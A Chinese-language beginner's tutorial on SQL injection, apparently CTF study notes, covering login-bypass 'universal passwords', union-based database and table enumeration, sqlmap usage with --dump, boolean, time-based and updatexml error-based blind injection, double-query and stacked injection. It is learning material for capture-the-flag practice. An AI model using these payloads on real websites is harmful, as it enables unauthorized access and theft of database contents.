SQL注入入门
万能密码
一些比较简单的题目会直接给一个登录框,输入账户密码即可进入,在新生赛等比赛中可能是输入万能密码即可进入,这里列举了3种情况可能会用到的万能密码。
用户名已知
用户名:admin
密码:1’or’1’=‘1
或者
用户名:admin’or’1’=‘1
密码:随便输
可用注释符号
用户名:‘or1=1#
密码:随便输
用户名未知
用户名:1’or’1’or’1
密码:随便输
SQL注入基础
一些操作点(也是大致流程)
检查是否存在注入
and 1=1 #返回正确
and 1=2 #返回错误
猜字段数
order by x
x为数字
爆数据库名
举个例子,比如-1 union select 1,database()
输入-1 union select 1,group_concat(schema_name) from informations_schema.schemata
查询所有数据库名称
具体还得看怎么过滤和是哪种注入,这里仅仅列举数字型注入为例子
爆表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=’xxx’
同样也只是举个简单的例子
获取flag
-1 union select 1,group_concat(flag) from xxx.flag
也是举个例子
sqlmap的使用
如下面的命令可以使用sqlmap来查询表
1 | python sqlmap.py -u http://xxxx.com:xxxx/?id=1 --tables --batch |
下面列举一些常见参数
参数 | 作用 |
---|---|
-h,–help | 显示帮助文档 |
-u URL,–url=URL | 对指定url进行扫描 |
-r REQUEST_FILE | REQUEST_FILE为包含HTTP请求的数据包文件,可以从burp导出 |
–data=DATA | 指定post数据(POST型sql注入) |
–dbs | 查询数据库 |
–tables | 查询表 |
–columns | 查询字段 |
–dump | 转储数据(慎用!!!) |
-D DB | 指定数据库名 |
-T TBL | 指定表名 |
-C COL | 指定字段名 |
–users | 查询数据库用户 |
–threads=NUM | 设置线程数以加快速度 |
盲注
大致分类
基于布尔类型(布尔盲注)
“布尔判断”指的是利用sql语句逻辑与(and)操作,判断and两边的条件是否成立,SQL语句带入数据库查询后判断返回内容(通常返回值只有空和非空两种状态),类似布尔型的true和false两种状态。
特性:页面中,如果正确执行sql语句则返回一种页面,否则返回另一种页面,基于两种页面来判断SQL语句正确与否,以达到获取数据的目的。
判断版本:5.0版本以下没有information_schema数据库所以无法手动注入
?id=1’ and left(version(),1)=5–+
基于时间延迟(时间盲注)
延时注入方法很简单:就是利用IF的三目运算符使用substring函数来判断字符的ASCII码值,进而猜解出正确的内容。
拿下面的案例而言,如果字符串hello的首字母的ASCII码大于120的话那么延时十秒,否则输出1。下面的案例是延时了十秒。
Example:
selectif(ascii(substring(“hello”,1,1))>120,sleep(10),1);
注:
substring()等价于substr
sleep(10)延时十秒
延时注入与布尔盲注的关系:在可以判断返回正确还是错误的情况下,两种注入方法都可以用,延时注入更倾向于无法判断正误,通过自己构造页面刷新时间来判断正误。
时间盲注使用的优先级并不高,通常是在联合注入、报错注入、布尔盲注都无法使用时才会考虑使用:
- 页面没有回显位置(联合注入无法使用)
- 页面不显示数据库的报错信息(报错注入无法使用)
- 无论成功还是失败,页面只响应一种结果(布尔盲注无法使用)
基于报错显示(报错注入)
盲注时最先应该考虑的,特别是页面会显示数据库的报错信息时,具体可以查看sqlilabs刷题笔记里面报错注入的题目,常常是用updatexml()函数来使得页面显示报错信息
常用函数
1.substr(string,start,length)
功能:截取字符串功能
返回值:截取后的字符串
(start从1开始而不是从0)
2.mid(column_name,start,length)
功能等和substr相同
3.left(string,n)
功能:返回字符串string最左边的n个字符组成的字符串
4.right(string,n)
功能:返回字符串string最右边的n个字符组成的字符串
5.ord(char)
功能:char为字符,用于返回字符的ascii码,有时候服务器会对单引号进行转义,使用
ascii码就不用使用单引号参数
6.length(string)
功能:截取字符串的长度
7.ifnull(str1,str2)
功能:根据第一个参数是否为null来返回具体的值
ifnull有两个参数,如果第一个不是null就返回str1,否则返回str2。
8.updataxml()报错函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
如可以
?id=1” union select updatexml(1,concat(0x7e,(select user()),0x7e),1)–+
这个函数只会显示32位结果,所以可以用substr(),left(),right()等函数来辅助
此外,报错函数还有
floor()、extractvalue()、NAME_CONST()三种函数
9.if(a,b,c)
功能:若a成立则执行b,否则执行c
10.sleep(n)
功能:延时n秒
11.substring()
功能和参数和substr()一样,常用于延时注入
双查询注入
简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来
可以理解在一个select语句中再插入一个select 里面的select语句就是子查询
例子:select concat((select database()));
https://www.yisu.com/zixun/502435.html这边借助了其他大佬的博客帮忙理解
首先,理解几个函数/语句:Concat(),Rand(), Floor(), Count(),Group by clause,
concat()
就是一个组合和拼接的函数,汇合函数将括号里的符号连接在一起。用于连接两个或多个数组。该方法不会改变现有的数组,而仅仅会返回被连接数组的一个副本。返回一个新的数组。
如concat(‘a’,‘b’)
得到的结果就是ab
1、MySQL的concat函数在连接字符串的时候,只要其中一个是NULL,那么将返回NULL
如concat(‘11’,‘22’,null)
得到的结果是NULL
2、concat_ws()函数, 表示concat with separator,即有分隔符的字符串连接如连接后以逗号分隔
和concat不同的是, concat_ws函数在执行的时候,不会因为NULL值而返回NULL
如concat_ws(‘,’,‘11’,‘22’,NULL)
返回11,22
Rand()
这个函数会返回大于0小于1的随机数
Floor()
这个函数会返回小于等于输入数的最大整数
count()
这个函数可以用来统计函数
group by语句
根据(by)一定的规则进行分组(Group)
1 | select table_schema, count(*) from information_schema.tables group by table_schema; |
如这样就可以统计数据库里有多少张表
核心语句
1 | select floor(rand(14)*2) c, count(*) from information_schema.columns group by c; |
这个会报错
1 | 分析一下: SQL语句中用列c分组,而列c是floor(rand(14)2)的别名。 floor(rand(14)2)产生的随机数列,前四位是:1,0,1,0。 |
这就是双注入报错的原理,利用这种报错,我们就可以在报错信息中获取信息。
堆叠注入
大概意思就是同时执行多条sql语句。
在SQL中,分号是用来表示一条sql语句的结束。而我们在 ; 结束一个sql语句后继续构造下一条语句,就会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,然而union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
因此,只要我们有权限,甚至可以不止局限在查询,而是可以做到增删改查
当然,这么牛逼的姿势当然有他的局限性,api,数据库引擎,权限都可能限制他,而且只有调用数据库的函数支持执行多条sql语句才可以使用,比如php里的mysqli_multi_query()函数,然而实际情况下php往往会用mysqli_query()函数来防止堆叠注入。当然,能用的时候伤害性很大
详情可以去看【sqlilabs刷题笔记3】Stacked Injections
只是一些大致的基础概念,具体还应该看具体题目!
请大佬轻喷QAQ